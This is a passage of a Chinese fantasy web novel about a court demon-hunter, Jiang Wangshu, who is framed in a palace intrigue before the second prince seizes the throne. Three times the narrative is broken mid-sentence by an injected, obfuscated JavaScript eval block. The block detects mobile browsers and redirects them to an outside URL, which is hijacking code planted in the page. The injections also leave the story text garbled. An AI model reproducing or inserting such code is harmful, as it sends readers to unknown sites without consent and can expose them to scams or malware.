小宫女的宫女服上沾染了泥土,身体蜷缩成一团,静静地躺在墙角,衣衫凌乱不堪,露出大片苍白的肌肤,上面隐约可见青紫色的痕迹,姜望舒仍然记得当时空气中腐臭和尘土味混杂在一起,令人作呕。 二皇子这样辩解可就算是睁眼说瞎话了,她又回忆起他书房桌子上的书册,心中了然。 “卧薪尝胆是明智之举,但一味地忍让只会让更多无辜的人惨死,”她端起木桌上的茶水喝了一口,皱眉,又是茶,默默推远后,悠悠道:“及时反击亦是为了自保。” 殿外兀地传来慌乱的脚步声,阿光跌跌撞撞地跑了进来,大呼:“不好了,两位殿下,姜大人!” 姜望舒:……真的很想把“姜大人”这个称呼从他嘴中扣掉,每次她都觉得是在说“降大任”,听着就累。 “出什么事了,慌里慌张的。” 阿光急切地说:“是柔妃娘娘!娘娘今日在后花园中闲逛,没想到一个没走稳,竟摔了一跤,原是不打紧的,但是没想到摔倒后就昏迷不醒,御医们全都束手无策,有人说娘娘是中了妖术。” 听到这,三皇子已经坐不住了,站起身,连衣袍都来不及整理就要冲出去,还是二皇子显得更为冷静一些,离开之前请姜望舒一同前去帮忙看看,宫内关系错综复杂,他的身份不便进入柔妃的寝殿, 柔妃的住处离三皇子的寝殿并不远,三皇子和姜望舒很快就赶到了,外面的侍女围得里三层外三层,皆是行色匆匆,在门口,还聚集着四五个胡须飘飘的老头子,身上皆系着一根黑色的飘带,这是太医院的统一装扮,期望永远不会被宫中贵人赏赐白绫一根陪葬的产物。 像是推开海浪般拨开层层人群,此刻的柔妃正斜倚在榻上,尽管虚弱,但风情依旧不减。榻上铺着厚软的锦缎,绣着繁复的花纹,金丝线泛着柔和的光线。衣料轻薄柔软,却掩不住她苍白的面容。 “三皇子!” 柔妃旁边的丫鬟正小心翼翼地侍候着,眼中满是担忧,看到三皇子带着一个姑娘来,有些困惑,明显不认识她。 三皇子明白她的意思,言简意赅地解释:“这是姜姑娘,皇宫内的御用捉妖师,可以让她帮忙看看母后是否受到妖物影响。” 姜望舒将手放到柔妃的额前,试着将灵力注入,越探查,她的脸色就越凝重,柔妃体内的确有受到妖力污染的迹象,可是这皇宫各处都已被她设下捉妖阵法,宫外的妖怪不可能在她毫无察觉的情况下闯进来。 脑中一闪,她想到了一个人,在这皇宫内唯一的一只妖,可不就是祁辰? “柔妃娘娘最近可接触过什么人?” “并无什么特别的,都是些宫里的人,柔妃娘娘真的是被妖物所害吗?这可怎么办啊,娘娘,到底是谁要害你啊呜呜呜呜!”小丫鬟明显被吓到了,不怕诊断的太医开口,就怕他不开口,眼见姜望舒面色愈来愈凝重,紧绷着嘴不发一言,她急得快要哭了。 姜望舒知道是自己的脸色吓到她了,其实这妖物影响并不严重,单纯是因为柔妃体质弱,所以反应如此之大,她只是不确定这件事是否是祁辰所为,抬手止住了她的喧闹,安慰道:“没事,把这张净化符放到柔妃娘娘的枕下,不出三日她就可以彻底恢复了。” 闻言,三皇子和丫鬟连连道谢,就在这时,床上的柔妃痛苦地呻吟了一声,蹙着眉,似乎在极力忍受着身体上的疼痛,丫鬟急忙将符纸塞到她枕头下面。 贴身丫鬟边哭边说:“娘娘,到底是谁要害你,皇上又要有一段时日不来了。” 皇上会不来吗?柔妃娘娘不是宫里头最受宠的,皇上怎么会不来呢?接下来三皇子的话解答了她的疑惑。 三皇子拳头紧了紧,咬牙切齿道:“他不会来的,这么多年,母妃都活在那个女人的阴影之下,父皇总是会突然用厌恶的目光看母后,次日又恢复成柔情似水的模样,喜怒无常,所以母后并没有表面上活得那样风光。” 姜望舒猜想,他说的那个女人应该就是已故的长公主,也是,替身这件事,实在是恶心人,不过是在透过一个人看另一个人,同时玷污了两个人,那皇帝该是极想念他长姐的,可惜世间再也寻不到她的踪迹了,所以态度才会如此反复无常。 “我看就是皇后娘娘做的,不过她也好不到哪去,”贴身丫鬟带着哭腔道,“都知道皇上皇后的夫妻之间早已是名存实亡,她也一直活在那个女人的阴影里,甚至皇上可能从未爱过她。” 这边这件事情还没有平息,次日,皇后娘娘病倒了的消息又飞遍了宫中,至于她是如何病倒的,姜望舒就不得而知了,皇后虽然没有捉妖天赋,但母家背靠永日派,不缺捉妖师替她诊治。 这天,花园的一角,她终于又见到祁辰了,不知道从何时起,他成了她宫中无聊生活的期盼,但她的脑袋立刻清醒过来,这是在宫里头闲久了。 这次的祁辰很奇怪,他远远地站着,并没有迈开步子过来的意思,看向她的目光很复杂,甚至有些内疚,注视良久,转身离开,连声招呼都没有打,可伴随着他一次次站立,眺望,转身的奇怪举动,姜望舒的脸越来越黑。 整日闲来无事,姜望舒又开始四处转悠,诺大的皇宫能走的地方几乎全被她走了个遍,路上还顺手从旁边发绿的植物上揪下一片叶子,用手指扭曲着枝条玩。 结果就是一群禁军找到还在后宫溜达的姜望舒,说她犯了谋害之罪,不等到她反应过来怎么回事,人直接就被带到了御书房,好在她为人和善,和宫里的人相处的不错,一路上通过几个禁军差不多明白了事情的原委。 大概就是皇宫内有人和妖怪勾结,柔妃、皇后、皇上皆遭到影响,后来在二皇子的住处搜到了半颗妖丹,而姜望舒的住处搜到了另外半颗妖丹,所以怀疑她和二皇子有所勾结。 姜望舒:…… 在姜望舒那里搜出妖丹并没有什么,她是捉妖师,有妖丹很正常,糟糕的就是,她的妖丹和二皇子的正巧可以合二为一,完美证实了她和二皇子有勾结。 “皇上也受到了影响?禁军大哥,也没有听说皇上近日来身体不适啊。” 两个禁军同情地看了她一眼,回答说:“姜姑娘还不知道吧,皇上有一个莲花灯盏,今日灯盏显示有异常,所以被皇上察觉了。” 说话间,他们已经到了御书房,入目便是满眼的金碧辉煌,继续向里走,书案后坐着的皇上,环顾一圈,发现二皇子、太子都在,令她意外的是,祁辰居然也在,这事和他又有什么关系? “流云派的姜望舒是吧?你可知勾结妖物,祸乱后宫,该当何罪?”皇帝的声音传来,身体向后仰,摆出一副不怒自威的架子,一开口便是施压。 姜望舒毕恭毕敬应道:“启秉陛下,小女不知道陛下在说什么,小女在后宫降妖除魔,向来是兢兢业业,没有出过半点差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175679|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,更从未有过勾结妖物,祸乱后宫之举。” 太子激动起来,指着姜望舒道:“人赃并获你还敢狡辩,这就是从你房间里搜出来的半颗妖丹!母妃、柔妃相继生病,都是受到妖气侵扰,而二弟的房间里,居然有另外半颗妖丹,要不是父皇的莲灯近期屡屡出现异常,产生了怀疑,你们是不是就要对父皇动手了?” ”啪“的一声,那根手指很快被祁辰拍了下去,之后祁辰就没再说什么,坐回到椅子上,舒舒服服地寻了个姿势,翘着二郎腿,整个房间里,只有他和皇帝是坐着的。 祁辰如此嚣张的举动,皇帝也没有指责的意味,只有太子默默吃瘪,敢怒不敢言地低着头。 “太子是说这个盒子?这本来就是我的妖丹,只不过前几日丢失了,到处找都找不见,好在我提前在上面撒下了蝴蝶妖的鳞粉,这东西无色无味,只有用特殊的灯光才能显示出来。” 姜望舒话锋一转:“那我就要问问太子了,这盒子是刚刚侍卫搜出来的,并没有假手于人,那为何你的衣袖上居然蝴蝶妖的磷粉,与这盒子上沾染的磷粉是同一只蝶妖的?” 说完,她翻手拿出一盏小灯,向太子的袖口和盒子照去,果然有亮闪闪的粉末。 既然是送上门来的妖丹,她不可能不要,早在太子频繁找她的时候,她就意识到了异常,这分明是有意将她带离住所,尽管这个盒子经过特殊处理,妖气不会外逸,但还是被她敏锐的察觉到了,所以干脆将计就计。 那日在后花园,难得见太子穿得端庄,想着他来告发自己的话可能会穿着这件华服,就赌了一把,趁机拍到太子的衣袖上,唯一超出她预料的,就是祁辰的到来,从他愧疚的表情,她知道祁辰已经有所察觉,姜望舒一直在等祁辰亲口提醒自己,但他每每都是转身离开,这一举动让她的心彻底寒了下去。 太子自然不能提他前段时间接触姜望舒,未娶太子妃,就私下与女子频繁相见,一旦事发,一定会对东宫有影响,他未来的妻,定是身份地位极高的。 “可能是我看望二弟的时候他放到我身上的?这磷粉又说明不了什么,那二弟的半颗妖丹又作何解释?”太子有些气急败坏,“二弟从来不到御书房,怎么一来,莲灯……” 话还没说完,就被皇帝一声咳嗽打断,接下来便是一片寂静。 闻言,二皇子苦笑一声,仍没失了体面,拱手悲叹道:“儿臣没有父皇的允许,根本就没有办法来御书房,前些日子也是因为宫殿走水,所以来禀告父皇的。” 对于二皇子暗含委屈的控诉,皇帝连个眼神都没有分给这个儿子,仿佛根本不在意他的说辞,父慈子孝的场面连装都不愿意装一下。 “那是因为这半颗妖丹是我给二皇子的,上面并没有磷粉,时间是在柔妃娘娘和皇后娘娘生病之后。”姜望舒接着说,“每种妖丹都有其特殊的功能,这颗是蚁妖的妖丹,可以帮助二皇子重建宫殿,所以小女将其赠与二皇子。” 太子声音变得尖锐:“谁能给你们证明妖丹是皇后娘娘生病后给的?” 面对他的步步紧逼,二皇子仍然不乱,恭敬道:“父皇,我的侍从阿光可以作证。” 没想到太子居然直接笑了:“好啊,那就宣二弟身边那个小太监了,看看事情到底是如何?” 他答应的如此爽快,让二皇子都愣了一下,此时此刻,心里才开始感觉到不安,而在场的姜望舒和祁辰更是脸色一变,想要阻止也来不及了。 19. 御用捉妖师(十九) 阿光就被两个禁军半拎着带了进来,禁军生的魁梧高大,衬托得阿光格外瘦弱,他们一左一右夹着阿光,像抓鸡仔般将将他扔在地上,他一刻不敢耽误地爬上前,跪在地上猛地磕了好几个头,战战兢兢地一句话都说不出来,像是被上了发条的玩偶,只会做这一个动作。 祁辰兀地开口,声音没有波澜,但却能让人听出威胁的意味:“你要一五一十地将真相说出来,如有半句虚言,这条命就别想要了。” 从姜望舒的角度,瞥见阿光好像抬头和太子对视了良久,这让她稍许惊讶,到了这个地步,他居然还能自如行动。 阿光低下头,闷闷地说:“小的,小的什么都没看到。” 听到这话,姜望舒和祁辰都松了一口气,还好,早在她去白梨院被人险些发现的时候,她就已经怀疑阿光了,他说自己是从二皇子寝殿出来的时候被跟踪,可她身为捉妖师,不可能不知道身后有没有人跟着,只是不愿意揭穿他罢了。 二皇子,你可长点心吧。 此刻的阿光早就被姜望舒的傀儡符控制,全凭她的意念行动,揭发不了任何人。 “好,既然这件事与二弟无关,那皇后和柔妃娘娘生病的事情尚且存在诸多疑惑,说到底也是你的失职,你可领罚?”太子眼见是没有办法把二皇子拉下水了,至少消灭一个姜望舒,以后可以在皇宫内安插永日派的捉妖师。 就在气氛一度僵持不下时,一个太监跑了进来,对皇帝说:“启禀皇上,柔妃娘娘求见,在殿外候着呢,说是见不到就不走。” 皇帝目光先是扫过在场的众人,没有应允也没有说不见,只是敲了敲桌子道:“她不是病着,来这里做甚?” “陛下,让她进来吧。”祁辰开口,这才得到皇帝的点头,引得姜望舒都要怀疑祁辰是不是对皇帝下了妖术。 柔妃穿着绯红宫纱走了进来,似是将春日的繁花盛景悉数揽入裙摆,乌黑如瀑的长发被一只金步摇稳稳束住,唇瓣嫣红,妩媚又多情,只是脸色还有些苍白,显然是大病初愈。 “臣妾拜见皇上。” 看到她的模样,皇帝的眼睛明显亮了亮,原本有些烦躁的神色也消减了很多,只因这绯红色衣裳,是他记忆中的女子最爱穿的颜色。 得到了皇帝的允许,柔妃勾了勾唇,只是笑容有些苦涩,说到:“好生热闹,咦?姜姑娘怎么也在这,上次你替本宫治病,本宫还没有好好谢过你呢。” 皇帝目光晦涩不明,问道:“爱妃,你刚刚说是姜望舒替你医治的?你不是受到妖物影响吗?” “是呀,二皇子搬去和三皇子小住一段时间,那天见到姜姑娘带着一个木盒子来,臣妾就好奇摸了摸,许是臣妾的身子太弱了,隔着木盒都能被影响到,回去就病倒了。” 她撒谎了。 她与二皇子的一伙的。 就在这时,祁辰忽然再次开口道:“我看太子也是担忧皇后娘娘,心中急切才鲁莽行事,本王倒是认识青天派的捉妖师,不如让他去看看皇后娘娘?” 几句话,彻底将这件事下了结论,皇帝没有恼怒于他的僭越,而是意味深长地瞥了他一眼,旋即大笑起来:“好了,老大,别胡闹了,你们都回去吧,柔妃留下来陪朕。” 事已至此,太子纵然有再多不甘心也只能先压到心里,在御书房门口,太子直接拦住了二皇子。 此刻的他显得有些咬牙切齿,抬手擦掉额头上的汗,脸红脖子粗道:“你不要得意,今日你赢了,全是因为柔妃和李王爷。但说到底,我们都输给了那个已故的长公主,她的父皇心中的地位,就连身为儿子的我们都没有办法比,你母妃的死,我母妃受到的委屈,皆是因为他。” “但无论如何,我不会输给你,”他又恶狠狠道,“这天下注定是我的。” 其余的废话他听过太多,索性直接过滤掉,但是有一句话却如同惊雷平地起,炸得他脸色一瞬间惨白无比:“你……你是什么意思?你说我母妃是怎么死的?” 当年二皇子的生母死的蹊跷,突然间就暴毙了,二皇子不是没有怀疑过,可是苦于没有证据,如今真相血淋淋地摆在眼前,他却有些受不住了。 他本来也是个聪明人,太子一提,他就大概猜想出来他母妃的死另有其因。 听到他这么问,太子反倒笑了起来,好像自己终于扳回了一局,解气地说道:“可怜的二弟,你连自己母亲的死因都不知道。”随后,也不再多说,自顾自地离开了。 二皇子这边正在失魂落魄,另一边的祁辰也满脸心虚,因为从刚刚对峙后,姜望舒就再也没有正眼看过他,无论他怎么挑起话题,姜望舒都选择无视他。 他们就这样和二皇子一起去到三皇子那里,于是三皇子看到的就是下面的一番诡异的场景。 二哥眼神空洞地坐着,一言不发。姜望舒抱臂,时不时宽慰二皇子几句,一切等到柔妃娘娘回来,她或许知道当年的真相。从来不等他们这些晚辈寝殿的李王爷也来了,还在死皮赖脸地缠着姜望舒。 “望舒,我这几天在街上发现了个好玩的玩意……” “姜大捉妖师,我发现了一个新的法器,你想不想要试一试?” “姜……” 三皇子:母妃,母妃你什么时候能来,这几个人都疯了,他好害怕,可他们都不告诉我发生了什么。 其实祁辰也知道当年的事情,但是他已经自身难保了,当然没空搭理他。 终于忍受不了祁辰的骚扰,姜望舒对祁辰说:“你跟我出来。”然后头也不回地走在最前面。 刚走到无人处,姜望舒抬手就是一道灵力打在他的身上,尽管并没有什么攻击性,但措不及防的祁辰还是被打得退后了一步,他倒并没有生气,只是表情看起来有些委屈。 “你想对我做什么都可以。”祁辰唇角微微上扬,带着一丝慵懒的笑意,面容如画卷般精致。 “滚蛋!”姜望舒彻底怒了,嘴角克制不住地向下撇,一双会说话的眼睛里有着哀伤,“祁辰,你欺骗我,不,更准确地说是在利用我,我平生最讨厌的就是被利用。” “我……” 姜望舒打断他接下来的话接着问道:“如何?利用我和二皇子被陷害的事情,现在得知莲灯的位置了?” “那个狗皇帝将莲灯藏的地方隐蔽,我只能让局势更乱,水更浑浊,才能趁乱毁掉莲灯……” “虽然我现在的确打不过你,但我会努力修炼缩小差距,如果你之后有伤害人类的行为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175680|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们就会永远地站在对立面,无论你跑到哪里,就算死,我也会收了你。” 姜望舒扔下了这句话后,头也不回地往殿内走,祁辰似乎是真的意识到问题的严重性,之后的时间都是有些沉默地坐在她身边,没有再闹腾。 等了许久,柔妃娘娘终于来了,她原本就苍白的脸色变得更加疲惫,最翘首以盼的反倒是三皇子了,就连柔妃娘娘都有些奇怪,今日自己的儿子怎么对自己这么热情。 她一双美眸微垂,看到二皇子正等着,无奈叹气,看向祁辰,得到祁辰的允许后,才将当年的事情娓娓道来。 “当年皇帝和长公主在相处生活中互相生出情愫,但长公主对皇帝也只是年少的欢喜,这点好感支撑不了他们冲破身份的枷锁,所以长大后,长公主另嫁了一个驸马,对此,皇帝悲痛不已。 当年长公主在皇帝登基前还没有婚配,说不定,现在的皇后之位就要易主了。 当时,皇后与长公主的私交甚好,再加上皇后母家的实力很强,所以皇后成为了皇后,只是,最亲近之人往往是最危险的,皇后并不是真心对待长公主,最后借助……永日派的捉妖师害死了她。” 讲到这里,柔妃顿了一下,并没有解释为什么是捉妖师害了长公主,但姜望舒听出来了,柔妃也知道长公主不是人类的事情,至于是谁告诉她的……原来祁辰早就把柔妃拉到了自己同一阵营当中。 “殿下的母妃,只是一个仰慕陛下的官家女子罢了,由于当时的太子之位悬而未定,大皇子和二皇子的年龄相差并不大,且二皇子小小年纪就初显锋芒,这才让她惹来了杀身之祸。” 二皇子面露痛苦:“所以,其实是我害死了母妃?” “不,不是这样的,”柔妃打断了他想要说的话,“害你母妃的不是你,是皇后!” “皇后联同永日派的捉妖师装神弄鬼,让皇帝认为是你母妃克死了长公主……可笑的是,仅仅是因为这一个猜测,皇帝就默许了皇后对你母亲的残害。” 说到这里,二皇子眼眶终于是红了,向来儒雅的他狠狠锤了一下桌子,声音嘶哑道:“是我……这么多年居然都没有找出母亲是被奸人所害,我一直以为父皇只是对我冷淡,他是君王,我也曾希望得到父亲的关心,我也曾敬仰他……” 他的话难得的没有逻辑,但却能让旁人听懂其中的意思。 柔妃接着说:“而我,也因为种种原因,被李王爷所救,而后在王爷的帮助下,得以进宫。”说完,她再次向祁辰表达了感谢,祁辰却是有些心不在焉,用手撑着下巴,目光紧随着姜望舒,随便应付了几句。 见到气氛凝重,姜望舒提出先行离开,祁辰也要跟着一同离开。 还没等姜望舒走回住处,她就被祁辰拉住了手腕,此刻的祁辰终于感到有些懊悔,一向能说会道的嘴这时也不知道该说些什么。 “还有事?”姜望舒问。 祁辰沉默。 姜望舒见他没话说,也不想在这里耗着,拉拉扯扯的被人看到的话宫内不知道又要传出什么闲话,转身迈开步子就走。 过了几日,估摸着二皇子的情绪稍加平复,宫殿也重新修缮好了,姜望舒觉得自己有必要再上门一次,因为还有一个隐患未消。 20. 御用捉妖师(二十) 再次见到二皇子,他正坐在书桌前看书,他周身儒雅气质消散了很多,取而代之的是一种被风霜磨砺过后滋生出的锐利之气,如同不再收敛锋芒的利刃。 姜望舒将阿光向太子告密的事情说了出来,那日对峙时,倘若没有她提前对阿光下了傀儡符,事情恐怕不会那么快了结。 在她刚入宫,没有几个人知道她身份的时候,阿光就准确喊出了她的姓,姜望舒就对他起了防范之心,此人定是时刻关注朝中动向,起了趋炎附势的心思,倘若真的只是一个偏僻不受宠的小太监,不可能立刻得知她的姓氏。 “可笑,真心爱护我的人早已惨遭毒手,”二皇子再次哀伤起来,好像只有在面对姜望舒的时候,他方才一身坚硬的鳞甲才终于卸去,流露出潺潺细流般的心酸苦涩,“我真心对待之人与他人联合想要置我于死地。” 自从上次李王爷疑似站队二皇子后,宫中的下人也不再苛待他,办事效率都高了不少,身边换成了一个看起来很机灵的小婢女,他招招手,婢女立刻会意,快步向殿外走去。 阿光很快就被人押了上来,他的额头上布满了细密的冷汗,此刻被压着跪倒在地上,在那日身体突然不受控制的时候,他就察觉到计划可能被姜望舒发现了,但是连着几日,都没有人来整治他,他自以为已经逃过一劫。 阳光透过窗户洒在光滑的地板上,映出一片片光斑,二皇子先开了口。 “阿光,这些年,只有你心甘情愿陪在我这个落魄人的身边,可如今,连你都要背叛我!本殿多么希望你是有什么苦衷。” 可是世上哪有那么多苦衷,利益熏心的人亦不在少数,不过是一直在做选择题罢了。 得知事情被拆穿,阿光反倒有些释然,说:“是我鬼迷心窍,我受不了被别人冷眼相待的日子了,陛下可知,我曾被那些宫人们欺负过多少次,不可计数!” 二皇子不欲再说,阿光被带下去了。 书桌旁有一盘点心,他用手将碟子推到姜望舒面前,示意她尝一尝。 “这是新做的莲花饼,里面用的是新鲜的莲子,还有些蜂蜜。” 莲花饼形状宛如莲花,表面光滑,色泽洁白,宛如真的盛开着的莲花,她拿起一块,轻轻咬下一口,入口是一阵香甜软糯,但很快,莲子的苦涩冲破蜂蜜的甜,又甜又苦的点心,她还是第一次吃,倒也别有一番风味。 “父皇曾夸赞过母妃那里的莲花饼味道做得好,从此每当春天,这道点心就会出现母妃的餐桌上,”二皇子的声音很平淡,“后来,但那之后,父皇再也没有夸赞过这道点心。” 姜望舒静静听着,他也拿起了一块吃起来。 “母妃在世时给本殿的莲花饼都是甜的,但莲子本就是苦涩的,何必用蜂蜜拼命掩盖它的味道,是我吩咐下人减少蜂蜜的量,才有了现在的效果。” 说罢,二皇子站起来,俯身就要对姜望舒行礼,被她眼疾手快拦住了。 “你这是做什么!使不得。” 再抬头,二皇子此刻的目光已经变得锐利起来:“我想请姜姑娘帮我演一出戏,不知道你是否愿意。” 半个月后,姜望舒突然惊慌失措地求见殿下,声称宫内进了一只受了伤的妖怪,这只妖怪口吐人言,曾经说自己被人圈养了很长一段时间,但还没等到姜望舒抓住他,就被他跑掉了。 不知道二皇子使了什么手段,抢先一步请来了青天派的沈墨尘和阴月派的苏萱来协助姜望舒,这样一来,即使皇后开口提议永日派的捉妖师来,皇帝为了不得罪另外两大门派,也不会同意的。 比起姜望舒的惊讶,沈墨尘和苏萱似乎早就预料到会有这么一天。 “苏萱姐姐!沈墨尘!” 再次见到两人,姜望舒还是很高兴的,她的戏份已经结束了,接下来就看二皇子的。 从沈墨尘的口中,姜望舒得知,这些年皇帝不理朝政,太子暗自积蓄力量圈养妖怪,想要以此来谋权,按照本朝律法,私自圈养妖怪按律当斩,除此外,贪污纳税等等大大小小的罪名数不胜数。 相当一部分势力早就看不惯太子的所作所为,其中就包括青天派和阴月派,他们心中的天平早就倾斜了,只待二皇子能够真正地想要整治这些乱象。 “以前的我一让再让,直到血淋淋的真相摆在我面前,我才终于明白很多东西强求不来的。”这是那天二皇子对她说的最后一句话。 姜望舒这边这样做就是想让太子误以为是自己圈养的妖怪跑了出来,所谓乱中出错,他一定会紧急派人去查看到底是否真的出了问题,这时,二皇子只要派人紧盯着他的动向就好。 不出所料,二皇子成功找到了他们圈养妖怪的老巢,但他并没有着急,而是通过多位大臣的帮助,一点点地将太子和皇后这些年犯下的罪行收集起来,足足有厚厚的一捧书简。 接下来,姜望舒就没有参与其中了,戏也算是演完了,只等待对峙的时刻。 这一刻并没有等太久,当日,二皇子穿上了最正式的一件衣裳,这还是父皇很久之前送他的,款式古朴,虽岁月流转,丝线微微泛出旧色,但其纹理依旧清晰,隐约可见当年的光泽。 姜望舒、沈墨尘和苏萱三人来到御书房。 沈墨尘沉稳开口道:“陛下,已经查明了,那只妖怪的确是被人圈养的,并且我们已经查清楚位置在哪里了。” 沉香袅袅,空气中弥漫着一种凝重而紧张的氛围。皇帝抬头,手指敲动着桌案,并没有开口说话。 “父皇,儿臣有事要禀告。” 对于二皇子的突然闯入,皇帝似乎有些愠怒,但看到梁尚书也来了,到底是没再说什么。 “何事?说!” 二皇子镇定地开口说:“儿臣与梁尚书今日发现太子殿下有诸多不当之处,事关重大,不敢隐瞒。” 梁尚书神色凝重,紧接着上前一步,高举手中的一摞书简,朗声道:“陛下,臣身为朝廷重臣,有责任将此事如实禀告。太子殿下近期行为失范,结党营私,且与朝中某些不法之徒暗中勾结,图谋不轨。此乃臣亲眼所见,绝非空穴来风。” 书房内一片死寂,只能听到窗外微风拂过树叶的沙沙声,此刻的二皇子面容清瘦,眉宇间透着一丝不易察觉的焦虑, “朕对太子寄予厚望,可有确凿证据?” 梁尚书与众人对视了一眼,将手中的书简递了上去:“陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15188725|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,臣等不敢欺瞒圣上,这奏折中详细记录了太子殿下的种种行径,包括贪污、私自圈养妖怪、与人勾结意图养兵等诸多罪状,皆有实据可查。” 皇帝的脸色渐渐阴沉下来,他只看了一眼就将奏折重重地放在案几上,起身踱步,看向沈墨尘。 沈墨尘会意,上前说道:“经我们几人查证,圈养妖怪的幕后主使与东宫有关。” “好,好得很。”皇帝气急反笑,“把那个逆子给朕带来。” 只是没想到和太子一同来的还有皇后。 看到皇帝面色铁青,还有前面站着的二皇子和梁尚书,太子大概明白了自己的境况,好在他来之前,皇后就已经预感到事情不妙,所以也跟着一同前来了。 皇后直接跪在地上,泪流满面,苦苦哀求道:“陛下,太子一时糊涂铸成大错,但他毕竟是您的儿子,是您的亲生骨肉,求您再给他一个改过自新的机会吧,他定能痛改前非。” 皇帝看着跪在地上哭得几近昏厥的皇后,眼中的寒意并没有消散,只是手指不停地敲击桌面。 “既然陛下心意已决,臣妾就同太子一同受罚,”皇后态度坚决,“只是可惜,姐姐曾和臣妾说过,我们要一起陪伴着我们的孩子读书庭训,只是可惜,是臣妾的错,没有教导好太子。” 皇后口中的姐姐,就是那位已故的长公主。 听到有人提长公主,皇帝盛怒的脸色终于有一丝动容,随后他居然沉默下来,一时间,气氛僵持不下,没有人开口,但每个人的表情各异。 随着时间的流逝,姜望舒和另外两位捉妖师由原本的信心满满转换为震惊,这长公主就是个免死金牌,能让皇帝连圈养妖怪,暗中扩张自己的势力这种死罪都豁免? 而二皇子的眼神中渐渐累积起浓重的失望,那是一种彻底的失望,曾经的过往如同被风吹散的烟尘,无处寻觅。他的手指微微颤抖,是内心深处的无力感在作祟,心仿佛被一层无形的枷锁紧紧束缚,透不过气来。 “既然如此,沈公子,朕命你去捣毁太子所建立圈养妖怪的老巢,”皇帝开口,“逆子,你给我回宫好好反省,没有朕的允许,不能踏出宫门半步!” 再抬头,二皇子眼底闪过冷芒:“这可由不得你,我亲爱的父皇。” 话音刚落,一群禁军闯了进来,其中还有阴月派的捉妖弟子。 皇帝可能怎么也不会想到,向来逆来顺受的二皇子,居然能做出这种大逆不道的事情,可惜木已成舟,他已无力挽回。 自始至终,皇帝在乎的都只是一个人,他可以是深情的,但这样的人是做不好一个皇帝的。 自此,二皇子兵变,近乎彻底控制皇宫上下,皇帝、太子以及皇后皆被关押,京城的天到底是变了,只余下一些不足为惧的残余势力等待二皇子清理。 过了几日,姜望舒听说皇上自尽于宫中,死前书桌上还平铺着长公主的画像,二皇子成功登基,不,现在应该叫做新皇了。 姜望舒也要辞别了,在离开之前,二皇子挽留过她,只是她的态度很坚决,如此这般,他也没有强迫她,她是悄悄走的,这件事只有二皇子知道,临行前,他神秘地塞给了姜望舒一颗收纳珠。 21. 游踪问寻(二十一) 暮春时节,城郊外一片宁静柔和,没有初春时的料峭寒意,也没有盛夏时分的炽热,冬天的沉闷已然被远远甩开,空中只有几缕洁白的云朵悠悠飘过,像是被春风春风吹散的梦。 这个时节踏青,周围的一切似乎景色都变得更加成熟,被用更深的颜色点染,对于在皇宫中任职了许久的姜望舒来说,心境不同了,一切都显得那么自然和谐,她情不自禁地用力吸了一口泥土与花香的空气。 没错,还是自由的味道。 倘若流云派有门规,她相信一定会是自由随心,正因如此,他们没有明确的规训。 随着路程越来越长,姜望舒原本轻快的步伐也渐渐变得沉重起来,现在的日头还不算毒辣,但她的额头上还是冒出了些许汗珠,原本俏丽的小脸也变得红扑扑起来,她伸手想要从收纳袋中摸出水喝,却碰到一个坚硬的物体。 是新皇送给她的木盒子,里面装着另一盏莲灯。 对于二皇子会将如此贵重的东西交给自己,姜望舒是很惊讶的,对此二皇子只是告诉她,这盒子是特质而成,任何人都无法打开它,更无法用外力破坏,同时,它还能隔绝莲灯的气息。 至于把这个东西交给她的原因,一个是因为是她即将要离开皇宫,宫中不少势力都想要得到莲灯,青天派也身处其中,由此甩出一个烫手山芋,另一个是因为没有人能够打开它,先皇曾试过各种方法,就连收到它的预警都是隔着盒子看到的,所以又多了一层保险。 更何况,二皇子就是无比信任她,就像最开始他相信姜望舒会帮助他清理白梨院的妖怪那般,这种信任是没由来的,他也无法解释清楚,就好像本该如此。 想要去到东海,就一直向东走。 姜望舒在宫内拿到了一份大陆的地图,是用牛皮纸绘制而成,想要查某地的具体路线,只需要心中默念即可,金色的箭头会在地图上指引她方向。 她将地图翻过来,发现后面写着:皇家出品,必是精品。 …… 天气渐渐回暖,微风拂面,带着丝丝暖意,潺潺溪流奏响春回大地的乐章,姜望舒早就脱去了东衣,换上轻便的春装。 这几日,她走走停停,一个人赶路倒也悠闲自在,空闲的时候,她会在山林中找一个安静的地方,盘腿坐下,闭目凝神,运转功法,有时候兴致上来,还能甩两鞭子,带着凌厉的风。 姜望舒伸了个大大的懒腰,面前是一片湖水,宛如一块巨大的翡翠,静静地镶嵌在大地之上。湖水清澈见底,能够看到有水草在湖底轻轻摇曳。 